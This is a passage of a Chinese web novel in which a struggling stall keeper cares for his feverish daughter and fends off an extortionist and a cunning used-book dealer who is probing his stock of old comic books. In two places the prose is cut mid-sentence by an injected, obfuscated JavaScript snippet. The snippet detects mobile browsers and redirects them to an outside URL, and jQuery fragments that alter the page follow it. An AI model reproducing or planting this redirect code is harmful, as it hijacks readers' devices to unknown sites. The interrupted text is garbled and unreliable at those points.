他也知道林凡不容易,可他能做的有限,街道不是派出所,没权力抓人,只能靠吓唬: “小林啊,你看,这就是不踏实惹来的麻烦。你好好卖你的日用百货不就完了?非鼓捣那些旧书,让人盯上了吧?” 林凡连忙解释,语气里带着点诚恳——他不想让李干事误会,也想让李干事知道自己没惹事,以后还能多帮衬点: “李干事,真就是点个人爱好,帮亲戚忙,没想惹事。 今天多亏您了,不然我真不知道该怎么办。您要是不嫌弃,下次我去市里进货,给您带瓶‘洋河大曲’,您平时爱喝这个。” “以后机灵点,遇到这种事,及时到街道反映。” 李干事摆摆手,拿起车把上的帆布包,里面的文件还在“哗啦”响—— 他下午还要去东街检查个体户的卫生情况,没时间多待: “不过我也不能天天守着你,街道还有一堆事呢——明天要组织居民扫街,后天还要统计个体户的经营数据。 你自己也得想想办法……唉。” 他摇摇头,骑上自行车,铃铛响着走远了,留下个无奈的背影,消失在巷口的阴影里。自行车的“吱呀”声越来越远,最后被风吹散了,只留下空气中的汗味和烟味。 接下来的几天,林凡更加低调。 他减少了去远处收连环画的频率,之前每周去三次废品站,现在只敢在附近的“老王废品站”转一圈,收来的书也不敢放在棚子里,都偷偷带回家—— 他家在巷尾的老民房里,租的一楼,墙壁上都长了青苔,潮湿得很,他把书藏在床底的木箱里,木箱是他爷爷留下的,上面刻着“福”字,他还在木箱里垫了笑笑的旧棉袄,能防潮。 有次笑笑问他 “爸爸,箱子里是什么呀”,他说 “是爸爸的旧书,等笑笑长大了给你看”。 他把主要精力放回棚子的经营上,还特意进了些便宜的儿童小零食,比如五毛钱一包的咪咪虾条、三毛钱一包的唐僧肉(其实是豆制品)、两毛钱一根的果丹皮,用透明袋装着,摆在柜台最显眼的位置—— 他想多攒点顾客,尤其是带孩子的家长,顾客多了,黑皮再来**,说不定有人能帮着说句话;而且多赚点钱,也能多备点“应急款”,万一黑皮再来,也能先应付过去。 同时,他开始有意识地织一张“关系网”:给旁边修鞋的张师傅送了包“红塔山”—— 那烟八块钱一包,是他平时舍不得抽的,自己抽的都是三块五的“经济烟”。 张师傅在巷口修鞋三十年,手上全是老茧,补鞋的线轴都磨得发亮,他跟黑皮早有过节—— 去年黑皮让他免费修鞋,张师傅不肯,摊子被掀过一次,鞋钉撒了一地,还是林凡帮他捡的。张师傅接过烟,卷了卷塞进耳朵里,拍着胸脯说: “小林,你放心!以后黑皮再来,我第一时间喊人,巷子里的老周、老李都会过来搭把手,咱们不能让他欺负老实人!” 他还帮卖报纸的刘大妈搬沉重的报纸捆——刘大妈快六十了,腰不好,有风湿,每天凌晨四点就去报社取报纸,一捆报纸有二十多斤,压得她直喘气,每次都得歇三次才能搬到报摊。 林凡每天早上七点开门,都会先去帮刘大妈搬报纸,刘大妈过意不去,每天都送他一份《早报》。 有次林凡帮她搬完,刘大妈拉着他的手说: “小林啊,你真是个好孩子。以后有啥消息,我先告诉你,黑皮他们要是有动静,我第一时间喊你——我这报摊在路口,看得清楚!” 甚至遇到巡逻的片警老张,他还递了瓶冰镇汽水——那汽水一块钱一瓶,是他从冰箱里拿的,还冒着冷气,是“北冰洋”牌的。 老张接过汽水,拧开喝了一口,抹了把嘴说: “小林,有事直接去派出所找我,别跟他们硬拼。他们要是敢动手,你就报警,我五分钟就能到。” 老张知道林凡不容易,单身带个孩子,还踏实肯干,之前林凡还帮他指认过偷自行车的小偷。 他不再是独善其身的店主,而是想在这复杂的巷子里,为自己和笑笑找几个能搭把手的人。他知道,靠自己一个人,是撑不了多久的,黑皮不会善罢甘休,早晚会再来。 可麻烦似乎总是跟着来。 一天晚上,后半夜两点多,笑笑突然开始发抖,小脸烧得通红,像熟透的苹果,呼吸粗重得像小风箱,咳起来时连小身子都在颤,小手攥着林凡的衣领,烫得像块烧红的小烙铁。 林凡心急如焚,抱起女儿就往县医院跑——夜里巷子里没灯,只有远处十字路口有个路灯,昏黄的光洒在青石板路上,他只能借着这点光跑,脚下踩过积水的坑洼,裤腿全湿了,贴在腿上,冰凉刺骨。 怀里的笑笑却被他裹得严严实实,用自己的外套包着,连风都透不进去——那外套是他唯一的一件厚外套,花了三十块钱买的。 他跑得飞快,鞋都差点甩掉,心里只有一个念头:别出事,千万别出事,笑笑要是有个三长两短,他就活不下去了。 县医院的急诊室就三间房,晚上挤满了看病的人,孩子的哭声、大人的咳嗽声、医生的叮嘱声混在一起,消毒水的味道盖过了一切,呛得林凡想咳嗽。 急诊医生是个四十多岁的男人,戴副黑框眼镜,穿件白大褂,袖口沾着点碘伏。 他用听诊器听了听笑笑的胸口,又量了体温,体温计显示39度5,医生皱着眉说: “急性支气管炎,得马上打针输液,再晚来就该转肺炎了,孩子这么小,不能耽误。” 护士拿着针头走过来时,笑笑吓得直哭,小手紧紧抓着林凡的手指,指甲都嵌进了他的肉里,哭着喊: “爸爸,我怕……我不要打针……打针疼……” 林凡的心像被针扎一样疼,他蹲在病床边,抱着女儿的头,用下巴蹭了蹭她的头发,柔声哄着: “笑笑不怕,爸爸在,打完针咱们就回家,买草莓糖吃,买草莓味的橡皮,好不好? 爸爸陪着你,不离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607481|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开。” 他一边哄,一边把自己的手指放进笑笑嘴里,让她咬着,笑笑咬得很用力,他的手指都出血了,可他没吭声,只觉得心疼。 那一夜,林凡守在病床边,握着女儿滚烫的手,一夜没合眼。病床是铁制的,硬得硌人,他坐在旁边的硬板凳上,后背靠着墙,墙是冷的,他时不时摸笑笑的额头,看烧退了没。 输液管里的药水一滴一滴往下落,像断了线的珠子,他盯着药水,心里满是无力—— 要是他有更好的条件,能给笑笑租个不漏雨的房子(现在的房子下雨天会漏雨,得用脸盆接),能让她吃得更有营养,每天喝牛奶、吃鸡蛋,也许她就不会这么容易生病。 他想起自己小时候,家里穷,也总生病,妈妈只能用土方子(比如用生姜煮水喝)治,有次发烧烧到四十度,差点烧坏了脑子,现在他不想让笑笑受一样的苦,可他却做不到。 第二天,笑笑的烧退了点,降到了38度,却还是没精神,连说话的力气都没有,只能靠在林凡怀里。 第三天,林凡让王猛暂时照看棚子,自己则在医院和棚子之间奔波:早上送完药,就去棚子盯一会儿,怕王猛应付不过来—— 王猛性子直,不会跟顾客讨价还价,有次顾客买东西想少给一毛钱,他差点跟人吵起来; 中午再回医院给笑笑喂饭,用勺子一点点喂,笑笑吃两口就不想吃了,他只能哄着: “笑笑乖,多吃点才能好得快,好得快就能回家玩小兔子布偶了。”; 晚上守在病床边,帮女儿擦汗,哄她睡觉,笑笑睡着时还在小声咳嗽,他就坐在床边,轻轻拍着她的背,像拍着一件易碎的珍宝。 几天下来,他眼里的红血丝越来越重,像爬满了蜘蛛网,下巴上也冒出了胡茬,扎手得很,用手一摸,能感觉到硬硬的胡茬。 他整个人瘦了一圈,之前合身的蓝色衬衫现在显得宽松了,领口空荡荡的,能看见里面的秋衣。 王猛看他累得不行,眼窝都陷进去了,让他休息半天,他却说: “没事,我还撑得住,笑笑还在医院呢,医药费已经花了两百多了,我得赶紧赚钱,把医药费赚回来。” 第四天,就在笑笑出院的第二天下午,林凡正在棚子里给女儿喂药—— 药是甜橙味的小儿止咳糖浆,医生说这药不苦,他用温水冲开,还加了点白糖,可笑笑还是皱着眉,小口小口地抿着,像在吃什么苦东西,每喝一口,就皱一下眉头,小眉头拧成了个“川”字。 突然,一阵“吱呀——吱呀——”的车轮声传来,一个破三轮停在棚子外,车轮上还沾着泥,是从城外的土路过来的—— 泥上还带着点草屑,一看就是刚从乡下回来。林凡抬头一看,心里“咯噔”一下——是县城另一头的旧书摊主钱老西。 那老头留着山羊胡,胡子有点发黄,像是很久没洗了,沾着点灰尘,穿件洗得发白的对襟褂子,袖口磨出了毛边,领口还沾着点墨水—— 是之前写字时蹭的,他平时爱写点毛笔字。手里把玩着个旧烟斗,烟斗是铜制的,已经发黑了,上面刻着“福寿”两个字,模糊不清,烟斗里的烟丝早就灭了,却还在手里转着圈。 他的三轮车是“永久”牌的,车斗里装着几个旧纸箱,箱子上写着“旧书”两个字,是用毛笔写的,墨都晕开了,里面全是旧书,有本《三国演义》的封皮都掉了,露出里面的黄纸,纸都发脆了。 他浑浊的眼睛先扫过棚角那个装着连环画的纸箱——箱盖没盖严,露出本《西厢记》的淡蓝封皮,封皮上画着张生和崔莺莺,还印着“上海人民美术出版社1956年版”的字样—— 他的眼睛亮了一下,像看到了宝贝,然后才落在林凡脸上,嘴角勾起抹似笑非笑的弧度,像老狐狸盯上了猎物,眼神里透着精明,还有点不容拒绝的强势。 “小伙子,听说你这儿,收旧书?” 钱老西的声音带着**湖的油滑,像块浸了油的木头,慢悠悠的,却透着股压迫感。 他说话时,烟斗在手里转了圈,烟丝的味道飘过来,混着棚外的湿热空气,让人心里发闷,像压了块石头。 林凡握着药碗的手顿了顿,指尖发凉,连药勺都差点掉在碗里—— 药碗是个旧搪瓷碗,上面印着“为人民服务”,边缘已经磕掉了块瓷。 他太了解钱老西了——这老头在县城摆了十几年旧书摊,在旧书圈里是出了名的“老狐狸”,什么门道都懂,眼光毒得很,能看出哪些旧书值钱。 据说他还跟市里的收藏贩子有联系——去年县中学的老教师有本民国版的《西游记》,被钱老西用五十块收走,转头就卖给了市里的贩子,赚了五百块,这事在县城的旧书圈里传得沸沸扬扬,老教师后来知道了,气得病了一场。 他这个时候出现,绝不是偶然,肯定是听说了自己收连环画的事,想来分一杯羹,甚至可能想把自己收的书全低价买走,再高价卖出去。 天边的乌云又沉了些,比之前更黑了,像块巨大的黑布压在头顶,风也大了起来,吹得棚子顶上的塑料布“哗啦”响,像在哭,又像在预警。 远处的雷声越来越近,“轰隆隆”的,像在头顶炸响,震得棚子的木架都有点晃。 林凡看着钱老西似笑非笑的脸,又看了看怀里还没恢复精神的笑笑——笑笑靠在他怀里,已经睡着了,小眉头还皱着,嘴角微微抿着,像在做什么不好的梦。 他心里清楚——之前的风雨只是前奏,黑皮的勒索、笑笑的生病,都只是小麻烦;真正的风暴,怕是要来了。 而且,是从他最没防备的方向——他以为收连环画是件小事,既能帮表舅凑齐研究材料,又能赚点零花钱给笑笑买东西,却没想到引来了钱老西这样的人。 这比黑皮的勒索更可怕:黑皮只要钱,给点钱或许能暂时打发; 可钱老西,想要的是他手里的连环画,是他唯一能给表舅交差、还能赚点钱的东西——要是被钱老西盯上,这些书恐怕保不住,甚至可能连自己的生计都要受影响。 风更大了,塑料布被吹得鼓起来,又瘪下去, 发出“哗啦啦”的响声,像是在喊着“危险”。 林凡抱紧了笑笑,手心里全是汗—— **接下来该怎么办,只能走一步看一步, 可他知道,无论如何,他必须保护好笑笑, 保护好这来之不易的平静,哪怕拼尽全力。 第十六章: 笑笑病了 巷口的土路被前两天下的雨泡得坑洼,最深的洼里积着浑水,映着头顶灰蒙蒙的天,连路过的苍蝇都绕着走。 钱老西那辆快散架的“永久”牌三轮碾过时,车轮“噗嗤”一声扎进洼里,溅起的泥点带着土腥味,粘在车斗下的锈铁皮上—— 那铁皮薄得能透光,蜂窝状的锈洞里还卡着去年冬天的冰碴子,此刻混着新泥,活像块长了霉斑的烂铁。 车轴早没了机油,“吱呀——嘎啦”的摩擦声尖得刺耳,盖过了巷里张记油条铺的油锅“滋滋”声,好不容易才“哐当”一声磕在林凡杂货棚外的碎石子上停住,震得车斗里卡着的几页旧书残页簌簌抖。 那残页是上周钱老西从废品站淘货时蹭上的,纸页发脆,还留着半行《水浒传》的字:“武松提了梢棒,大踏步……”,风一卷就“哗哗”响,像谁在低声念白; 前轮沾着的泥块早干结了,边缘泛着白霜似的碱花,像给轮胎镶了圈土黄色的疤,唯有靠近轮毂的地方还带着点潮气—— 明眼人一看就知道,是从巷尾那片常年积水的洼地碾过来的,那地方积水发绿,连耗子都不爱去,钱老西却特意绕了道,像是故意要把自己扮得更落魄。 这副刻意装出来的破败模样,落在林凡眼里,却像根刚从阴沟里捞出来的锈钉子,尖刺直扎他紧绷的神经。 他后颈的汗**瞬间竖了起来,指尖下意识摸向怀里笑笑的后脑勺—— 孩子还发着低烧,头皮温温的,比他的手掌热半分,呼吸轻得像片沾了水汽的羽毛,拂在他的脖颈上,痒得人心头发颤。 他实在没力气再应付任何麻烦了。 前半夜刚抱着笑笑跑县医院急诊,急诊室的白炽灯亮得晃眼,灯管上还绕着几只飞虫,“嗡嗡”地撞着玻璃。 走廊里挤满了抱着孩子的家长,有的孩子哭着喊头疼,声音哑得像破锣;有的家长攥着挂号单,跟护士争得面红耳赤,唾沫星子溅在护士的白大褂上。 林凡缩在走廊最角落的水泥地上,那水泥地凉得透骨,透过薄薄的裤子渗进皮肤里,冻得他膝盖发麻。 笑笑的小脸烧得通红,小嘴唇却干得起皮,小手紧紧攥着他的衣角,每隔十分钟就哼唧一句 “爸爸,冷”, 他只能把自己那件洗得发白的浅蓝短袖外套裹在孩子身上——那外套领口卷着边,袖口还磨破了个洞,是去年冬天给笑笑挡风雪时勾破的—— 自己后背却被汗浸得透湿,风一吹就凉得打哆嗦。 就这么蹲了三个钟头,才轮到医生给开了包退烧药,还是最普通的“对乙酰氨基酚片”,医生捏着处方单嘱咐: “要是明早还烧到三十八度五以上,就得抽血查血常规,别耽误了。” 后半夜刚合眼,黑皮就带着两个混混堵在棚子门口。 那黑皮穿着件花衬衫,领口敞得能看见胸口的赘肉,脖子上纹着只歪歪扭扭的老虎,墨水都晕开了;他手拍在货架上“砰砰”响,震得上面的咪咪虾条包装纸簌簌掉渣,有两包没摆稳,“哗啦”一声掉在地上,他还故意用脚碾了碾,塑料纸“咯吱”响: “林凡,这月保护费该交了吧?五十块,少一分都不行!” 旁边的混混跟着嗤笑,一个染着黄头发的,还伸手去扯棚子上挂着的“笑笑杂货铺”木牌,木牌上的红漆都掉了,是林凡去年亲手写的。 直到住在隔壁的李干事下班路过——他是机械厂的工会干事,平时最看不惯这些混混,总穿着件洗得发白的中山装——叉着腰呵斥: “你们再闹,我现在就报派出所!”黑皮才悻悻地啐了口痰,痰星子溅在林凡的鞋尖上,撂下句“你等着”,带着人晃悠悠走了。 此刻的林凡,就像块在水里泡了三天三夜的槐木,看着依旧能立在棚子门口,可只要指尖稍一用力,就能摸到内里早已被熬得发糟的木纹—— 连说话都得借着一口气撑着,怕一松劲就垮了。 但他不能垮,怀里的笑笑还在哼唧,小脑袋往他胸口又蹭了蹭,温热的呼吸透过薄衬衫吹进来,掀起领口的线头,那线头蹭在他的皮肤上,像孩子软软的小手,也让他心里的劲又多了几分。 棚子门口的阴影里,钱老西正慢条斯理地擦着烟袋锅。 这人是县城旧书行的“活招牌”,也是出了名的“地头蛇”—— 九十年代初县城还没大型书店,旧书生意全靠散户和小铺子,钱老西在西街开的“聚宝斋”,门脸不大,却靠着早年在废品站、供销社攒下的人脉,垄断了半个县城的老版连环画货源。 去年有个姓周的小贩,想收几本1950年代的《西游记》,刚在东街摆了个小摊,就被钱老西的侄子堵了—— 那侄子留着寸头,胳膊上有疤,说“这片区的旧书归聚宝斋管,你想抢生意?” 最后那小贩没办法,只能把收来的五本书按成本价卖给钱老西,自己揣着几块钱灰溜溜回了乡下,听说后来再也没敢来县城。 林凡攥着笑笑衣角的手指悄悄收紧——孩子喝了药后困得厉害,眼皮耷拉得像浸了水的棉纸,眼睫毛上还沾着点泪珠,是刚才被钱老西的三轮车声吓出来的。 他深吸了口气,先开了口,脸上挤出的惊讶恰到好处,像街坊邻居突然撞见似的: “钱老板?您咋有空到我这小破棚来?” 他声音软得像刚出锅的红糖馒头,还带着点没睡醒的沙哑——其实是熬了半宿没歇着; 特意往旁边挪了半步,让出半扇沾着油烟的木门。 那油烟味是隔壁张记油条铺飘来的,早上炸油条时,油星子溅在门板上,干了之后留下一圈圈黄印,最上面那圈还能看见点油条的碎屑,风一吹,隐约能闻到点油香,混着棚子里旧书的霉味,倒有了点烟火气。 “快进来避避暑,外面日头毒得能晒化塑料鞋底—— 我早上看张师傅炸油条,油锅里的油都冒青烟了,他胳膊上溅了个水泡,用凉水冲的时候还‘嘶嘶’抽气呢。” 这姿态放得极低,却又不卑不亢:像晚辈见了老街坊,透着点熟络; 又像小摊贩对着老行家,带着点尊重,挑不出半分错处。 钱老西要的就是这个态度,他“嗯”了一声,声音里带着点烟袋锅子的焦糊味,推着三轮往棚子里蹭,车轮碾过地面的碎石子,“咯吱咯吱”响得像老驴拉磨,每一声都磨得林凡心头发紧—— 他清楚,这老狐狸是在试探棚子的承重,也是在试探他的底气,看他是不是真的“好欺负”。 没等林凡招呼,钱老西先站定了。 他没看林凡,也没看抱着的笑笑,眼睛像把扫院子的竹扫帚,从棚子东头扫到西头,连货架最下层积灰的角落都没放过—— 那角落里还堆着几个空的玻璃罐头瓶,是笑笑平时装糖块用的,瓶身上还贴着卡通贴纸,都卷边了。 货架最上层的咪咪虾条是上周进的货,包装上印着的卡通虾已经褪色,红的变成了粉的,有两包因为棚子漏雨,包装边缘发潮变软,林凡特意把它们挪到离窗户远的地方,还用个硬纸板挡着; 草莓味橡皮散在一个掉了漆的铁盒子里,那铁盒子是笑笑外婆给的,以前装过饼干,现在漆掉得只剩点黄印子,除了少角的那块—— 是昨天隔壁家小男孩买铅笔时不小心抠的,那孩子还红着脸道歉——还有两块沾着铅笔灰,黑乎乎的,林凡没舍得扔; 墙角堆着三个进货的纸箱,最上面那个印着“娃哈哈”的字样,标签都褪色了,露出里面的硬纸板,林凡记得这箱是上个月进的,现在还剩半箱,昨天给笑笑拆了一瓶,她还说“比上次的甜”; 唯有那个装连环画的纸箱,盖着块洗得发白的旧蓝布——那布原本是笑笑外婆给孩子做襁褓的花格子布,上面绣着小兔子,洗了太多次,颜色褪得只剩点淡蓝的印子。 兔子耳朵都快看不见了,布角还滑开了一截,露了页泛着老玉米皮黄的纸,是《小兵张嘎》的扉页,边角磨得发毛,在棚子的阴影里格外扎眼。 “路过,” 钱老西收回目光,干笑两声,笑声像砂纸磨木头,烟袋锅子在手里转了圈——铜锅泛着暗锈色,边缘还沾着去年的烟垢,黑一块黄一块的,像长了斑; 烟袋杆是枣木的,上面裂了两道细缝,用棉线缠了几圈,那棉线是褪色的蓝,还是去年冬天冻裂后,他老伴在世时帮他缠的,现在老伴走了,线松了他也没舍得换—— “听说小林老板你这儿生意旺,过来瞅瞅新鲜。” 他自己拖过个小马扎——那马扎是林凡上个月从废品站淘的,藤条断了两根,用铁丝拧着凑合用,坐上去还会“吱呀”响,像老太太的咳嗽声—— 屁股刚沾着凳面,就掏出烟荷包。 蓝布荷包上绣着朵蔫了的牡丹,丝线都松了,花瓣的边角磨得快要看不清,针脚还歪歪扭扭的,是钱老西老伴年轻时绣的,她手笨,绣了半个月才绣好。 他慢悠悠往烟锅里填烟丝,手指粗糙得像老树皮,指关节又粗又大,指甲缝里还嵌着点黑泥—— 是早上翻废品站的旧书堆蹭的,那书堆里全是灰尘,呛得他咳了半天——可动作却比绣花针还细,烟丝填得匀匀的,没撒出半粒,显然是做惯了这活,几十年没改。 “听说……你这儿也收旧书?” 这话像根裹着烟油子的细针,轻轻戳在林凡心上。 他抱着笑笑的胳膊下意识紧了紧,孩子被勒得哼唧了一声,小眉头皱成个小疙瘩,眼角还沁出点泪,小手攥着他的衣服更紧了,指甲轻轻掐进他的胳膊,不疼,却让他心里一软。 林凡赶紧用掌心轻轻拍着她的背,掌心的温度透过薄衣服传过去,声音裹着为人父的软: “您可别听人瞎传,我哪懂收书啊。就是这丫头,” 他指了指怀里的笑笑,指尖轻轻碰了碰孩子的脸颊——还有点低烧,温温的,像晒过太阳的棉花。 “打小就喜欢看画儿,新玩具买不起,我就寻思着收点旧小人书给她翻着玩,撕了丢了也不心疼。 再就是省城有个表叔,在省图书馆搞民间文化研究,专门收集老物件,前阵子打电话让我帮着留意点,说是凑个数做资料,也没说要多好的。” 他把“女儿”和“表叔”这两块挡箭牌举得稳稳的,语气自然得像说“今天中午吃了面条”,连眼神都带着点“没见过世面”的憨态—— 仿佛收旧书真就是件不值一提的小事,犯不着钱老西这样的老行家特意跑一趟。 钱老西划了根火柴,“嗤”的一声,火苗子窜起来,映亮他皱巴巴的脸。 那皱纹深得能夹住蚊子,尤其是眼角的纹路,像被刀刻过似的,一道叠一道——老辈人都说,常年眯着眼琢磨生意、算差价的人,眼角都会长这样的纹。 他点燃烟袋,猛吸了一口,烟雾裹着焦糊味飘出来,模糊了他的眼,只露出个叼着烟袋的剪影,烟袋杆上的棉线在火光下泛着淡蓝。 “图书馆的研究?那可是文化事儿。” 他又吸了口烟,烟袋锅子亮了亮,红火星子在暗处闪了闪,像颗小灯笼,才缓缓吐出烟圈。 烟圈飘到棚顶的石棉瓦上,撞散了,碎成一缕缕青烟,有的飘到笑笑面前,林凡赶紧侧了侧身,挡住烟味—— 孩子咳嗽还没好,闻不得烟—— “不过,小林老板,你这‘凑数’,量好像不小啊? 我咋听说,你都跑到下面李家庄、王台镇去收了? 还按废纸价高不少给——人家收废纸五分钱一斤,你给一毛?这可不像是给孩子玩的路数。” 林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607482|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凡的喉结悄悄滚了滚,像咽了口没化的冰——他没想到这老狐狸消息这么灵通,连他去李家庄的事都知道。 上周去李家庄收书,他特意选了个雨天,以为没人注意。 那天的雨是瓢泼式的,砸在自行车棚上“噼里啪啦”响,他穿的旧胶鞋鞋底有个小洞,骑到半路时,雨水灌进鞋里,脚泡得发白,每踩一下踏板,都“咕叽”响; 到李家庄时,裤腿卷到膝盖,还是湿得往下滴水,冷得他腿肚子直打颤。 老农住在村东头的土坯房里,门槛上长满了青苔,踩上去“滑溜溜”的,林凡站在门口等了半小时,老农才披着蓑衣出来—— 那蓑衣是棕褐色的,上面还沾着稻草——手里攥着用蓝布包着的《三打白骨精》,蓝布都洗得发白了,老农说: “这是我1965年在供销社买的,给儿子当宝贝,现在儿子进城打工了,我眼睛花了,看不了了,才舍得卖。” 为了那本书,他硬是多给了五分钱,老农才松口,还反复嘱咐: “你要好好待它,别弄丢了。” 这事除了老农,没第二个人知道,钱老西却能说得一字不差—— 显然是在他身边安了眼线,说不定就是县城里那个收废品的老张,老张平时总跟钱老西一起抽烟,上次还问过他“最近是不是收了不少旧书”。 心里一凛,脸上却露出点被抓包的窘迫。 林凡挠了挠头,指尖蹭过鬓角的汗——天太热,又紧张,汗早把额发打湿了,一缕缕贴在额头上,蹭过皮肤时留下道白印,像撒了点面粉。 “钱老板您这耳朵也太灵了,跟装了顺风耳似的。” 他故意装出不好意思的样子,声音更软,还带着点结巴, “不瞒您说,表叔催得急,说要的品种多,县城里转了好几圈,收不着啥像样的,我就只能骑着自行车往乡下跑—— 那自行车还是我从废品站淘的,链条总掉,上次去王台镇,还推着走了二里地。 价格嘛……乡下人实在,见着品相好点的,我也不好意思真按废纸价给——人家留了几十年的东西,多给个几分一毛的,就当是跑腿费了。 说到底还是帮亲戚干活,没想那么多,也没赚啥钱。” 这话半真半假:承认去乡镇收书,是怕否认了更可疑; 把动机归为“亲戚催得急”“年轻人心软”,是为了藏起“靠信息差赚钱”的心思—— 他心里清楚,现在老版连环画还没热起来,五分钱收的书,遇到懂行的,能卖五块、十块,这差价是他给笑笑攒学费的重要来源。 上次笑笑说想要个新书包,他还没舍得买,就等着多赚点钱,给孩子买个带卡通图案的。 钱老西眯着眼,透过烟雾打量林凡。 眼前的年轻人穿着件洗得发白的浅蓝短袖,领口卷着边,袖口还磨破了个小洞—— 是上次抱笑笑去医院时,被走廊的铁栏杆勾破的,他没舍得扔,用针线缝了缝,针脚歪歪扭扭的; 眼底带着熬夜的红血丝,像爬了几道红虫子,眼下的青黑重得像涂了墨,连胡茬都没来得及刮,扎在脸上; 怀里抱着病弱的孩子,连站姿都透着点疲惫,肩膀微微垮着—— 怎么看都不像是有大野心的人。 他心里的怀疑消了几分,可商人的本能让他没轻易松口,烟袋锅子又亮了亮,他吐了口烟,慢悠悠地说: “原来是这样。” 他磕了磕烟袋,烟灰落在地上,碎成小粒,被风一吹粘在裤脚上—— 他的裤子是卡其色的,沾了烟灰后格外显眼,裤腿还卷着,露出脚踝上的老疤,是年轻时在废品站搬书,被木板砸的,现在还留着个褐色的印子—— “我说呢,这破玩意儿现在还有什么搞头。不过,小林啊,你既然收到好东西,光给你表叔,可惜了。 我那边偶尔也有几个老主顾,就好这一口,专门找老版小人书怀旧,有的是退休干部,不差钱。 你要是有品相好的,匀给我几本,我帮你出手,价格肯定比你那废纸价强,怎么样? 也让你多少回点本,别光贴钱帮亲戚干活。” 图穷匕见了!林凡心里冷笑—— 这老东西哪是来“帮忙”的,分明是想低价截胡。 他早就听说,钱老西最擅长这招:去年有个姓赵的小贩,不懂行,把一本1958年版的《西游记》以两块钱卖给了他,那本书品相完好,还是第一版的。 结果钱老西转手就卖给了外地来的收藏者,卖了五十块!那小贩后来知道了,蹲在聚宝斋门口哭了半天,钱老西连门都没开,还让侄子出来赶人,说“愿打愿挨,怪谁?” 可脸上却没露半分,反而露出犹豫的神色。 林凡的手指在笑笑的衣角上轻轻捻着,把布角捻出个小褶——那是笑笑最喜欢的粉色裙子,洗得有点发白,裙摆还绣着个小兔子。 “这……钱老板,这不太好吧? 我都答应表叔了,说收着好的都给他……而且我收的都是些破烂,也没什么好东西,怕您的主顾看不上,到时候砸了您的招牌……” “哎,看看嘛,看看又不打紧。” 钱老西没等他说完,就起身往那个装连环画的纸箱走。 他的脚步不快,却带着股不容拒绝的劲,像老地主查自家的粮囤,每一步都踩得很稳,鞋跟碾过地面的碎石子,发出“咔嚓”的轻响。 走到纸箱边,他弯腰掀开盖在上面的旧蓝布,布上还沾着点霉斑——那是上次下雨,棚子漏雨弄的,林凡没来得及洗,霉斑呈浅绿色,像长了层青苔—— 他手指直接伸了进去,动作熟练得很,指尖拂过书脊,像在摸刚出锅的馒头,轻一下重一下,生怕捏坏了好货,又怕漏了珍品,指甲缝里的黑泥蹭在书脊上,留下道印子。 第十七章 钱老西的试探 林凡没阻止,只是抱着笑笑的胳膊更紧了点,视线跟着钱老西的手转,心里像悬着块石头。 他心里有数:纸箱里大多是他故意放的普品,真正的好东西,像那本1962年版的《三打白骨精》、1959年的《林海雪原》,早被他藏在家里床底的木箱里,垫着笑笑的旧棉袄防潮—— 那棉袄是笑笑刚出生时穿的,粉嘟嘟的,上面绣着小太阳,现在小了,用来垫书正好能防潮,还能挡住木箱的缝隙,不让灰尘进去,他每天都会检查一遍,怕书受潮发霉。 钱老西翻了一会儿,先拿起本七十年代版的《渡江侦察记》。 封面缺了个右上角,正好是侦察兵举枪的姿势,只剩半只手露在外面,手指还画得很清晰; 内页还沾着干了的饭粒,黄黄的,硬得像小石子,林凡之前想抠掉,结果把纸页抠破了个小口子,只好作罢,还在口子旁边贴了块透明胶带,胶带已经发黄了。 他捏着书脊抖了抖,纸屑掉下来,落在他的黑布鞋上——那鞋是千层底的,鞋尖已经磨平了,是他老伴纳的,纳了一个月,穿了快五年,鞋底都快磨透了。 “这种货色,也就哄孩子玩,我家小孙子都嫌破,上次给他一本,他还扔在地上踩。” 他撇了撇嘴,嘴角撇出个嘲讽的弧度,把书扔回纸箱,动作重得让其他书都晃了晃。 又拿起本《列宁**》,封面破得只剩一半,能看见里面的扉页,扉页上还留着老主人的签名,用蓝墨水写的“王建国”,字迹已经晕开,像朵小蓝花; 内页被虫蛀了几个洞,最大的那个在页码旁边,能看见后面一页的文字——“**同志”四个字,笔画都断了。 钱老西看都没多看,直接扔回箱子里,“啪”的一声,吓得笑笑往林凡怀里缩了缩,小脑袋埋得更深了,小手还紧紧捂住耳朵。 他脸上的不耐烦越来越重,眉头皱得能夹死苍蝇,仿佛觉得这趟白跑了,浪费了他的烟丝—— 那烟丝是他托人从省城买的,一块五一两,平时自己都舍不得多抽,只有见“重要客户”才拿出来。 就在他准备收手时,指尖突然触到本用旧画报纸包着的书。画报纸是1980年的《人民日报》,边缘都脆了,一摸就掉渣,上面还印着条农业新闻,标题是“春耕时节忙,粮食产量创新高”,下面的小字还能看清“某县小麦亩产达八百斤”,字都有点模糊了。 他下意识地抽出来,像摸出块藏在糠里的糖,慢慢剥开画报纸——一层一层,动作比刚才轻了不少,生怕把里面的书弄坏了,手指都有点抖。 一本品相约有七五新的《鸡毛信》露了出来。封面上穿补丁衣服的海娃攥着信,眼睛瞪得圆圆的,黑眼珠像两颗黑葡萄,线条清晰得能看见衣服上的针脚,连补丁的边缘都画得很细; 刘继卣的签名印在右下角,虽然淡,却像颗小印章,稳稳地盖在纸上,笔画刚劲有力。 